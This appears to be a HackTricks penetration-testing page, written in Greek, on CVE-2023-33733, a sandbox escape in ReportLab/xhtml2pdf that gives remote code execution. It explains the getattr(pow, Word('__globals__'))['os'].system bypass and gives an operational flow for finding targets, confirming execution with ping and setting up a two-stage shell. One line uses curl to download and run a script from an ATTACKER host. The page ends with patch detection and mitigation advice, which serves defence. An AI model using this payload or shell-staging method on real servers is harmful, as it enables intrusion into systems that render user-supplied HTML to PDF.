ReportLab/xhtml2pdf [[[…]]] expression-evaluation RCE (CVE-2023-33733)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αυτή η σελίδα τεκμηριώνει μια πρακτική παράκαμψη sandbox και ένα RCE primitive στο ReportLab’s rl_safe_eval που χρησιμοποιείται από xhtml2pdf και άλλες pipelines δημιουργίας PDF όταν αποδίδουν HTML που ελέγχεται από χρήστη σε PDF.

CVE-2023-33733 επηρεάζει τις εκδόσεις του ReportLab έως και την 3.6.12. Σε ορισμένα περιβάλλοντα attribute (π.χ. color), τιμές τυλιγμένες σε τριπλές αγκύλες [[[ … ]]] αξιολογούνται server-side από το rl_safe_eval. Με τη δημιουργία ενός payload που pivots από ένα whitelisted builtin (pow) προς τα globals μιας Python function, ένας επιτιθέμενος μπορεί να φτάσει στο os module και να εκτελέσει εντολές.

Κύρια σημεία

  • Trigger: inject [[[ … ]]] σε αξιολογούμενα attributes όπως μέσα σε markup που αναλύεται από ReportLab/xhtml2pdf.
  • Sandbox: rl_safe_eval αντικαθιστά επικίνδυνα builtins αλλά οι αξιολογημένες συναρτήσεις εξακολουθούν να εκθέτουν globals.
  • Bypass: δημιουργήστε μια προσωρινή κλάση Word για να παρακάμψετε τους ελέγχους ονομάτων του rl_safe_eval και να αποκτήσετε πρόσβαση στο string “globals” ενώ αποφεύγετε το φιλτράρισμα των blocked dunder.
  • RCE: getattr(pow, Word('__globals__'))['os'].system('<cmd>')
  • Stability: Επιστρέψτε μια έγκυρη τιμή για το attribute μετά την εκτέλεση (για color, χρησιμοποιήστε ‘red’).

Πότε να δοκιμάσετε

  • Εφαρμογές που προσφέρουν εξαγωγή HTML-to-PDF (προφίλ, τιμολόγια, reports) και δείχνουν xhtml2pdf/ReportLab στα metadata του PDF ή σε σχόλια στην HTTP απόκριση.
  • exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
  • Η HTTP απόκριση για PDF συχνά ξεκινά με ένα ReportLab generator comment

Πώς λειτουργεί η παράκαμψη του sandbox

  • Το rl_safe_eval αφαιρεί ή αντικαθιστά πολλά builtins (getattr, type, pow, …) και εφαρμόζει φιλτράρισμα ονομάτων για να απορρίψει attributes που ξεκινούν με __ ή είναι σε denylist.
  • Ωστόσο, οι “safe” συναρτήσεις ζουν σε ένα globals dictionary προσβάσιμο ως func.globals.
  • Χρησιμοποιήστε type(type(1)) για να ανακτήσετε την πραγματική builtin type function (παρακάμπτοντας τον wrapper του ReportLab), στη συνέχεια ορίστε μια κλάση Word παράγωγη του str με μεταβλημένη συμπεριφορά σύγκρισης ώστε:
    • .startswith(‘’) → πάντα False (παράκαμψη του ελέγχου name startswith(‘’))
    • .eq επιστρέφει False μόνο στην πρώτη σύγκριση (παράκαμψη του denylist membership checks) και True έπειτα (ώστε να δουλέψει το Python getattr)
    • .hash ισούται με hash(str(self))
  • Με αυτό, getattr(pow, Word(‘globals’)) επιστρέφει το globals dict της τυλιγμένης συνάρτησης pow, που περιλαμβάνει ένα import του os module. Έπειτα: ['os'].system('<cmd>').

Ελάχιστο μοτίβο εκμετάλλευσης (παράδειγμα attribute) Τοποθετήστε το payload μέσα σε ένα αξιολογούμενο attribute και βεβαιωθείτε ότι επιστρέφει μια έγκυρη τιμή attribute μέσω boolean και ‘red’.

exploit

  • Η μορφή με list-comprehension επιτρέπει μια ενιαία έκφραση αποδεκτή από το rl_safe_eval.
  • Το τελικό and ‘red’ επιστρέφει ένα έγκυρο CSS color ώστε η απόδοση να μην σπάσει.
  • Αντικαταστήστε την εντολή όπως χρειάζεται; χρησιμοποιήστε ping για να επαληθεύσετε την εκτέλεση με tcpdump.

Επιχειρησιακή ροή

  1. Εντοπίστε τον PDF generator
  • Ο PDF Producer εμφανίζει xhtml2pdf; η HTTP απόκριση περιέχει ReportLab comment.
  1. Βρείτε μια είσοδο που αντανακλάται στο PDF (π.χ., bio/description προφίλ) και κάντε export.
  2. Επαληθεύστε την εκτέλεση με low-noise ICMP
  • Εκτέλεση: sudo tcpdump -ni <iface> icmp
  • Payload: … system('ping <your_ip>')
  • Τα Windows συχνά στέλνουν ακριβώς τέσσερα echo requests από προεπιλογή.
  1. Εγκαθιδρύστε shell
  • Για Windows, μια αξιόπιστη two-stage προσέγγιση αποφεύγει προβλήματα quoting/encoding:
  • Stage 1 (download):

exploit

  • Stage 2 (execute):

exploit

  • Για Linux targets, παρόμοιο two-stage με curl/wget είναι δυνατό:
  • system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)

Σημειώσεις και συμβουλές

  • Περιβάλλοντα attribute: color είναι ένα γνωστό evaluated attribute; άλλα attributes στο ReportLab markup μπορεί επίσης να αξιολογούν εκφράσεις. Αν μία τοποθεσία είναι sanitized, δοκιμάστε άλλες που αποδίδονται στη ροή του PDF (διαφορετικά fields, table styles, κ.λπ.).
  • Quoting: Κρατήστε τις εντολές συμπαγείς. Οι two-stage downloads μειώνουν δραματικά τα προβλήματα quoting και escaping.
  • Reliability: Αν τα exports cache-αριστούν ή τεθούν σε queue, ποικίλλετε ελαφρώς το payload (π.χ., τυχαίο path ή query) για να αποφύγετε caches.

Patch status (2024–2025) και εντοπισμός backports

  • 3.6.13 (27 Apr 2023) επαναέγραψε το colors.toColor σε έναν AST-walk parser; οι νεότερες 4.x releases διατηρούν αυτή τη διαδρομή. Η εξαναγκασμένη ρύθμιση rl_settings.toColorCanUse σε rl_safe_eval ή rl_extended_literal_eval επανενεργοποιεί τον ευάλωτο evaluator ακόμα και σε τρέχουσες εκδόσεις.
  • Πολλές διανομές παρέχουν backported fixes ενώ διατηρούν αριθμούς έκδοσης όπως 3.6.12-1+deb12u1; μην βασίζεστε αποκλειστικά στον semantic version. Grep colors.py για ast.parse ή επιθεωρήστε toColor σε runtime για να επιβεβαιώσετε ότι ο safe parser είναι σε χρήση (βλέπε quick check παρακάτω).
  • Quick local check to see whether the AST-based fix is present:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY

Μέτρα μετριασμού και εντοπισμός

  • Αναβαθμίστε το ReportLab στην έκδοση 3.6.13 ή νεότερη (CVE-2023-33733 διορθώθηκε). Παρακολουθήστε επίσης τις ειδοποιήσεις ασφάλειας στα πακέτα διανομής.
  • Μην τροφοδοτείτε HTML/markup που ελέγχεται από τον χρήστη απευθείας στο xhtml2pdf/ReportLab χωρίς αυστηρή sanitization. Αφαιρέστε/απορρίψτε τις δομές αξιολόγησης [[[…]]] και τα vendor-specific tags όταν η είσοδος δεν είναι έμπιστη.
  • Σκεφτείτε να απενεργοποιήσετε ή να τυλίξετε τη χρήση του rl_safe_eval πλήρως για μη έμπιστες εισόδους.
  • Παρακολουθήστε για ύποπτες εξερχόμενες συνδέσεις κατά τη δημιουργία PDF (π.χ. ICMP/HTTP από διακομιστές εφαρμογών όταν εξάγονται έγγραφα).

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks